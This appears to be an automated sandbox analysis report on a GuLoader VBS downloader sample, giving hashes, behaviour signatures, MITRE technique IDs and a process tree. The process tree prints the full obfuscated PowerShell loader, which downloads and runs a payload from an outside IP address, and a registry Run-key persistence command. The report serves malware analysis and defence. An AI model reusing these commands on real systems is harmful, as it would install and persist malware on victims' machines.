guloader | c506ac9a87485ac16f09afa8f732f7a72699c6f5db222cb347cf8291f5c27d0f

Analysis

max time kernel
122s
max time network
122s
platform
windows7_x64
resource
win7-20240611-en
resource tags

arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
submitted
02-07-2024 02:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c506ac9a87485ac16f09afa8f732f7a72699c6f5db222cb347cf8291f5c27d0f.vbs
Size

21KB
MD5

1a705e08ebbfa361df84f04cb5f0976e
SHA1

e3091fec2ae95f28824fec928defaa68e63e189f
SHA256

c506ac9a87485ac16f09afa8f732f7a72699c6f5db222cb347cf8291f5c27d0f
SHA512

bd6b937c3ad2805cac2eb18c1011634e8b50a5bdd9f7af1bec7251429a7cac5214e33003a3da9e9d198fa362461a15b7d3a937ca6ee323ca20b1d6b22128958e
SSDEEP

384:mlzV6m2So022lGP9V6+s0flKJpl/5ZrE5HVnS0Re7PIx+5lEPmgwwgvNRqeGb3OS:ezSR022X/523S0e8xPPmZMhb

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 2648 powershell.exe

flow	pid	process
4	2648	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2812790648-3157963462-487717889-1000\Software\Microsoft\Windows\CurrentVersion\Run\Havnefogedeners160 = "%Idelses% -w 1 $Windsorstolene=(Get-ItemProperty -Path 'HKCU:\\Fralandsvinds\\').Shadflies;%Idelses% ($Windsorstolene)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

Processes:

wab.exe

pid process

1572 wab.exe
1572 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

940 powershell.exe
1572 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 940 set thread context of 1572 940 powershell.exe wab.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

2904 reg.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exe

pid process

2648 powershell.exe
940 powershell.exe
940 powershell.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

940 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2648 powershell.exe
Token: SeDebugPrivilege 940 powershell.exe

pid	process
1572	wab.exe
1572	wab.exe

pid	process
940	powershell.exe
1572	wab.exe

description	pid	process	target process
PID 940 set thread context of 1572	940	powershell.exe	wab.exe

pid	process
2904	reg.exe

pid	process
2648	powershell.exe
940	powershell.exe
940	powershell.exe

pid	process
940	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2648	powershell.exe
Token: SeDebugPrivilege	940	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

WScript.exepowershell.exepowershell.exewab.execmd.exe

description	pid	process	target process
PID 2092 wrote to memory of 2648	2092	WScript.exe	powershell.exe
PID 2092 wrote to memory of 2648	2092	WScript.exe	powershell.exe
PID 2092 wrote to memory of 2648	2092	WScript.exe	powershell.exe
PID 2648 wrote to memory of 2680	2648	powershell.exe	cmd.exe
PID 2648 wrote to memory of 2680	2648	powershell.exe	cmd.exe
PID 2648 wrote to memory of 2680	2648	powershell.exe	cmd.exe
PID 2648 wrote to memory of 940	2648	powershell.exe	powershell.exe
PID 2648 wrote to memory of 940	2648	powershell.exe	powershell.exe
PID 2648 wrote to memory of 940	2648	powershell.exe	powershell.exe
PID 2648 wrote to memory of 940	2648	powershell.exe	powershell.exe
PID 940 wrote to memory of 2592	940	powershell.exe	cmd.exe
PID 940 wrote to memory of 2592	940	powershell.exe	cmd.exe
PID 940 wrote to memory of 2592	940	powershell.exe	cmd.exe
PID 940 wrote to memory of 2592	940	powershell.exe	cmd.exe
PID 940 wrote to memory of 1572	940	powershell.exe	wab.exe
PID 940 wrote to memory of 1572	940	powershell.exe	wab.exe
PID 940 wrote to memory of 1572	940	powershell.exe	wab.exe
PID 940 wrote to memory of 1572	940	powershell.exe	wab.exe
PID 940 wrote to memory of 1572	940	powershell.exe	wab.exe
PID 940 wrote to memory of 1572	940	powershell.exe	wab.exe
PID 1572 wrote to memory of 2872	1572	wab.exe	cmd.exe
PID 1572 wrote to memory of 2872	1572	wab.exe	cmd.exe
PID 1572 wrote to memory of 2872	1572	wab.exe	cmd.exe
PID 1572 wrote to memory of 2872	1572	wab.exe	cmd.exe
PID 2872 wrote to memory of 2904	2872	cmd.exe	reg.exe
PID 2872 wrote to memory of 2904	2872	cmd.exe	reg.exe
PID 2872 wrote to memory of 2904	2872	cmd.exe	reg.exe
PID 2872 wrote to memory of 2904	2872	cmd.exe	reg.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c506ac9a87485ac16f09afa8f732f7a72699c6f5db222cb347cf8291f5c27d0f.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2092

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Jetjager196 Valrs Splodgy Turer Buttoners Hymeniumnia55 Pseudoethically Mediers131 Hangnests Caprimulgus Indhaling Sjlelivet Psychoclinic perioderne fikey tiaarsdag Oppositionless Rigellaasene Tronprtendenters Vivifier Ggeskals Poner Unaturlighed crinites Jetjager196 Valrs Splodgy Turer Buttoners Hymeniumnia55 Pseudoethically Mediers131 Hangnests Caprimulgus Indhaling Sjlelivet Psychoclinic perioderne fikey tiaarsdag Oppositionless Rigellaasene Tronprtendenters Vivifier Ggeskals Poner Unaturlighed crinites';If (${host}.CurrentCulture) {$Cykelstier++;}Function Grovelled($Slick){$schoolchild=$Slick.Length-$Cykelstier;$Afhstet='SUBsTRI';$Afhstet+='ng';For( $Neurocentrum=1;$Neurocentrum -lt $schoolchild;$Neurocentrum+=2){$Jetjager196+=$Slick.$Afhstet.Invoke( $Neurocentrum, $Cykelstier);}$Jetjager196;}function Hovne35($Arbejdsmetode){ .($Appalachian) ($Arbejdsmetode);}$Muddleheadedness204=Grovelled ' MFo zDi.lSl aA/ 5S. 0K U(AWCiFn dDo w sC UN.T. T1 0U.H0P;S WMi nO6.4T;K Hx 6b4.;U Mr v : 1K2 1H.S0I) UG,edcDkCoI/u2D0B1K0r0,1U0R1 F,i r,eFfaoAx./ 1 2T1,.S0c ';$Paquet=Grovelled 'OUBs eFrU-BASgDeunStC ';$Buttoners=Grovelled ' h tGtgp,:a/V/C1H0N3...1.9H5S.S2 3.7C.,4B3 / W r o,n,gLdTo i.nTgFs,1 9m3,.Ap cAxs ';$Deleting=Grovelled ' >T ';$Appalachian=Grovelled 'GiUePxD ';$Dolke234='Mediers131';$Skinnes = Grovelled ',eMc hSos W%.aKp pUdMa.tSaP%,\BT,r,iPcVoDt iSn.en.HI nStF ,&P&S Me c h oJ BtR ';Hovne35 (Grovelled 'E$SgOl o bCaGl : DbaAn sGe.d e,s =D(AcFm dP /GcL .$MSHkCi n.n e.s ), ');Hovne35 (Grovelled 'i$Og l oBb a,lA:,T u r,eGrR=.$,BUu.tSt.o.n.eFr.s .CsOp l iOtE(T$ D,e.lKe tLiJnUg.)T ');Hovne35 (Grovelled 'I[SNFeFt .ASPeIrFvPi,cCe P,o.iDnpt M a n,aSgSe.rO],: : S.ePc,u,rki t,y PSr.o,t oPcTo.l, I= [SN eUtP..SNeCc.u rPi tHycPTr.oMt oTcOo.l TRy,p,e ]M:.:GTUl s 1R2 ');$Buttoners=$Turer[0];$Semievergreen94= (Grovelled ' $Ug.lPo bEaHlt: F e,rEsvk.vMaPn dDs s.=GNKe w -SOFb j e c t. S.y sCt,eCm .KN.eBt,.PWVeFbOCEl,i,e.nBt');$Semievergreen94+=$Dansedes[1];Hovne35 ($Semievergreen94);Hovne35 (Grovelled ',$RFGe.r s.kBvRa.n d s so.PH e,aRdSeKrBsC[,$FPBa,q u.eItU] =R$TMPuSd,dGl eLhBe aAd.e dSn.eRs sU2L0S4 ');$Haandpanthaver=Grovelled 'T$ F e r.sKk v aLnIdMs,sL.,D o,wPn.l,oPaRd.F i,lRe.(K$PB u.tBt,odn.eHr sD,S$.PBoLnEeOrM) ';$Poner=$Dansedes[0];Hovne35 (Grovelled 's$ gKlUo,b aPl :.CRh,aOf e w,a,xV=F(ST,eSsrt -IP aUtSh. $CPCoTnPeUrA) ');while (!$Chafewax) {Hovne35 (Grovelled ' $Mgul,oFb aRlf:FT,rSi cDh oPp tKeTrEaO1 0P1R=M$ tAr.u,eG ') ;Hovne35 $Haandpanthaver;Hovne35 (Grovelled 'CS,t a rWtH-SSSl,e.eEpN L4 ');Hovne35 (Grovelled 'F$BgDlMo bfaPl :UC hSaAf,eHw aFxS=,(,TAets t.-IP aAtDhR $ P oTn ecr )S ') ;Hovne35 (Grovelled ' $LgLl osbIaTlG:USDp lGo.dNg.y,=A$ g l.o bSaSl :EV,a.lNr s,+L+A%.$FTKujr.eSr . c,o uinRt ') ;$Buttoners=$Turer[$Splodgy];}$skyttegravenes=371185;$Selenographers=25643;Hovne35 (Grovelled ' $ g lSoCbTaDl,: H,acnEg,nGe s,tEsB H=T IGEe t - C.o.n t,e n t D$ P oFnUe r ');Hovne35 (Grovelled '.$Tg,l oKbPa l :.EFn h,a,n,cKe r.sI = ,[US.y.sOtSe,m..SCBoJn v eIr.t,] :A:OFSr oFm BPaSs e 6 4ASjt.rSiPn.gK(S$TH aCnsg,nPeps t s )U ');Hovne35 (Grovelled ' $,g.l,oPb.aPlG:RS jal e lTiGv e.tR .=S S[bSSyUsgtRe.mF.AT eSxDt..MEInsc o d i,nAg,] :F:cADSLCrI I .CGAe.tpSft rLiOnNg,(S$SE.n,h.a n cGeGr.sF). ');Hovne35 (Grovelled ' $FgSlUo b,aIlC:HG lToEb uKsRe rTs = $ SUj l.eKl iHv eRtH.,sju,b,s,t,rCiUnSg,(P$,s.k.y tFtEe gDrDakvRe.nieNsB,M$MS eAl esn oSg,r aCp.hSe rSsC) ');Hovne35 $Globusers;"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2648

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Tricotine.Int && echo t"
3⤵
PID:2680

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Jetjager196 Valrs Splodgy Turer Buttoners Hymeniumnia55 Pseudoethically Mediers131 Hangnests Caprimulgus Indhaling Sjlelivet Psychoclinic perioderne fikey tiaarsdag Oppositionless Rigellaasene Tronprtendenters Vivifier Ggeskals Poner Unaturlighed crinites Jetjager196 Valrs Splodgy Turer Buttoners Hymeniumnia55 Pseudoethically Mediers131 Hangnests Caprimulgus Indhaling Sjlelivet Psychoclinic perioderne fikey tiaarsdag Oppositionless Rigellaasene Tronprtendenters Vivifier Ggeskals Poner Unaturlighed crinites';If (${host}.CurrentCulture) {$Cykelstier++;}Function Grovelled($Slick){$schoolchild=$Slick.Length-$Cykelstier;$Afhstet='SUBsTRI';$Afhstet+='ng';For( $Neurocentrum=1;$Neurocentrum -lt $schoolchild;$Neurocentrum+=2){$Jetjager196+=$Slick.$Afhstet.Invoke( $Neurocentrum, $Cykelstier);}$Jetjager196;}function Hovne35($Arbejdsmetode){ .($Appalachian) ($Arbejdsmetode);}$Muddleheadedness204=Grovelled ' MFo zDi.lSl aA/ 5S. 0K U(AWCiFn dDo w sC UN.T. T1 0U.H0P;S WMi nO6.4T;K Hx 6b4.;U Mr v : 1K2 1H.S0I) UG,edcDkCoI/u2D0B1K0r0,1U0R1 F,i r,eFfaoAx./ 1 2T1,.S0c ';$Paquet=Grovelled 'OUBs eFrU-BASgDeunStC ';$Buttoners=Grovelled ' h tGtgp,:a/V/C1H0N3...1.9H5S.S2 3.7C.,4B3 / W r o,n,gLdTo i.nTgFs,1 9m3,.Ap cAxs ';$Deleting=Grovelled ' >T ';$Appalachian=Grovelled 'GiUePxD ';$Dolke234='Mediers131';$Skinnes = Grovelled ',eMc hSos W%.aKp pUdMa.tSaP%,\BT,r,iPcVoDt iSn.en.HI nStF ,&P&S Me c h oJ BtR ';Hovne35 (Grovelled 'E$SgOl o bCaGl : DbaAn sGe.d e,s =D(AcFm dP /GcL .$MSHkCi n.n e.s ), ');Hovne35 (Grovelled 'i$Og l oBb a,lA:,T u r,eGrR=.$,BUu.tSt.o.n.eFr.s .CsOp l iOtE(T$ D,e.lKe tLiJnUg.)T ');Hovne35 (Grovelled 'I[SNFeFt .ASPeIrFvPi,cCe P,o.iDnpt M a n,aSgSe.rO],: : S.ePc,u,rki t,y PSr.o,t oPcTo.l, I= [SN eUtP..SNeCc.u rPi tHycPTr.oMt oTcOo.l TRy,p,e ]M:.:GTUl s 1R2 ');$Buttoners=$Turer[0];$Semievergreen94= (Grovelled ' $Ug.lPo bEaHlt: F e,rEsvk.vMaPn dDs s.=GNKe w -SOFb j e c t. S.y sCt,eCm .KN.eBt,.PWVeFbOCEl,i,e.nBt');$Semievergreen94+=$Dansedes[1];Hovne35 ($Semievergreen94);Hovne35 (Grovelled ',$RFGe.r s.kBvRa.n d s so.PH e,aRdSeKrBsC[,$FPBa,q u.eItU] =R$TMPuSd,dGl eLhBe aAd.e dSn.eRs sU2L0S4 ');$Haandpanthaver=Grovelled 'T$ F e r.sKk v aLnIdMs,sL.,D o,wPn.l,oPaRd.F i,lRe.(K$PB u.tBt,odn.eHr sD,S$.PBoLnEeOrM) ';$Poner=$Dansedes[0];Hovne35 (Grovelled 's$ gKlUo,b aPl :.CRh,aOf e w,a,xV=F(ST,eSsrt -IP aUtSh. $CPCoTnPeUrA) ');while (!$Chafewax) {Hovne35 (Grovelled ' $Mgul,oFb aRlf:FT,rSi cDh oPp tKeTrEaO1 0P1R=M$ tAr.u,eG ') ;Hovne35 $Haandpanthaver;Hovne35 (Grovelled 'CS,t a rWtH-SSSl,e.eEpN L4 ');Hovne35 (Grovelled 'F$BgDlMo bfaPl :UC hSaAf,eHw aFxS=,(,TAets t.-IP aAtDhR $ P oTn ecr )S ') ;Hovne35 (Grovelled ' $LgLl osbIaTlG:USDp lGo.dNg.y,=A$ g l.o bSaSl :EV,a.lNr s,+L+A%.$FTKujr.eSr . c,o uinRt ') ;$Buttoners=$Turer[$Splodgy];}$skyttegravenes=371185;$Selenographers=25643;Hovne35 (Grovelled ' $ g lSoCbTaDl,: H,acnEg,nGe s,tEsB H=T IGEe t - C.o.n t,e n t D$ P oFnUe r ');Hovne35 (Grovelled '.$Tg,l oKbPa l :.EFn h,a,n,cKe r.sI = ,[US.y.sOtSe,m..SCBoJn v eIr.t,] :A:OFSr oFm BPaSs e 6 4ASjt.rSiPn.gK(S$TH aCnsg,nPeps t s )U ');Hovne35 (Grovelled ' $,g.l,oPb.aPlG:RS jal e lTiGv e.tR .=S S[bSSyUsgtRe.mF.AT eSxDt..MEInsc o d i,nAg,] :F:cADSLCrI I .CGAe.tpSft rLiOnNg,(S$SE.n,h.a n cGeGr.sF). ');Hovne35 (Grovelled ' $FgSlUo b,aIlC:HG lToEb uKsRe rTs = $ SUj l.eKl iHv eRtH.,sju,b,s,t,rCiUnSg,(P$,s.k.y tFtEe gDrDakvRe.nieNsB,M$MS eAl esn oSg,r aCp.hSe rSsC) ');Hovne35 $Globusers;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:940

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Tricotine.Int && echo t"
4⤵
PID:2592

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:1572

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Havnefogedeners160" /t REG_EXPAND_SZ /d "%Idelses% -w 1 $Windsorstolene=(Get-ItemProperty -Path 'HKCU:\Fralandsvinds\').Shadflies;%Idelses% ($Windsorstolene)"
5⤵
- Suspicious use of WriteProcessMemory
PID:2872

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Havnefogedeners160" /t REG_EXPAND_SZ /d "%Idelses% -w 1 $Windsorstolene=(Get-ItemProperty -Path 'HKCU:\Fralandsvinds\').Shadflies;%Idelses% ($Windsorstolene)"
6⤵
- Adds Run key to start application
- Modifies registry key
PID:2904

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VZHKLT9OGSL08JG0XEK6.temp
Filesize
7KB

MD5
1d618e148128d6653a98149bc9072cb0

SHA1
7a92a64a87f0ccfc46c180a727a81edf24e9b7ff

SHA256
9b33ab3cb749dda33203a7baca8a9cbeafe3b90c8b736ee8f9edc5af708bac97

SHA512
9bfe9fb14c154abf06949169a516af626d3ea75cd4f237b1211e0f2721dc66d00fe56ed7850fc271c1fc0809e780def2adfdc7169c72526684546a1fb4a11109

Download Submit
C:\Users\Admin\AppData\Roaming\Tricotine.Int
Filesize
516KB

MD5
a19ac5c628d2cfe0b9f264ef6835a069

SHA1
916e42b69efdf9c305a523d39a43dbd0187acb6c

SHA256
8cda02eabdc78956055c9b34c2578da73344fbdfa8f65586ed4e90384f85b752

SHA512
dc6b71d52a6a164e4e085b0a9457e9512a9bddcf741da2007edc4b3443636bc0ac1a7c6a3445dc1a38b4a26eca99097dec6b7433711f097ff06e8d05321f7b1c

Download Submit
memory/940-18-0x0000000006930000-0x00000000093B5000-memory.dmp

Filesize
42.5MB

Download
memory/1572-20-0x0000000001E40000-0x00000000048C5000-memory.dmp

Filesize
42.5MB

Download
memory/2648-10-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

Filesize
9.6MB

Download
memory/2648-5-0x000000001B470000-0x000000001B752000-memory.dmp

Filesize
2.9MB

Download
memory/2648-4-0x000007FEF58BE000-0x000007FEF58BF000-memory.dmp

Filesize
4KB

Download
memory/2648-9-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

Filesize
9.6MB

Download
memory/2648-8-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

Filesize
9.6MB

Download
memory/2648-16-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

Filesize
9.6MB

Download
memory/2648-17-0x000007FEF58BE000-0x000007FEF58BF000-memory.dmp

Filesize
4KB

Download
memory/2648-6-0x00000000029E0000-0x00000000029E8000-memory.dmp

Filesize
32KB

Download
memory/2648-7-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

Filesize
9.6MB

Download
memory/2648-23-0x000007FEF5600000-0x000007FEF5F9D000-memory.dmp

Filesize
9.6MB

Download